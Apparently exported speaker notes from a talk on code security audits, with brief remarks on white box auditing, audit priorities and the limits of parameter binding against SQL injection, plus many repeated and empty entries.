  11. That‘s something that banking or insurance companies do. Security Experts for real world security do it, and so does the microsoft security development lifecycle.\n
  12. So in six years time stefan would be able to tell marco „Look, there has been a bug“\n
  13. What to audit: are there money issues? privacy issues? are children involved? sexual preferences? \n
  14. Actually that‘s a term microsoft coined \n
  15. Actually that‘s a term microsoft coined \n
  16. Actually that‘s a term microsoft coined \n
  17. Actually that‘s a term microsoft coined \n
  18. Actually that‘s a term microsoft coined \n
  19. Actually that‘s a term microsoft coined \n
  20. Actually that‘s a term microsoft coined \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. \n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. \n
  51. \n
  52. \n
  53. \n
  54. \n
  55. \n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. \n
  62. \n
  63. \n
  64. \n
  65. \n
  66. \n
  67. \n
  68. \n
  69. \n
  70. Find easy to find vulnerabilities, \nidentify parts of code involved in highly critical workflows\n
  71. Find easy to find vulnerabilities, \nidentify parts of code involved in highly critical workflows\n
  72. White box audits\n
  73. Basically you need an IDE for hacking! Like Zend IDE, PDT\n
  74. \n
  75. Parameter binding does just help 80% for sql injection!\n
  76. \n
  77. \n
  78. \n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. \n
  86. \n
  87. \n
  88. \n
  89. \n
  90. \n
  91. \n
  92. \n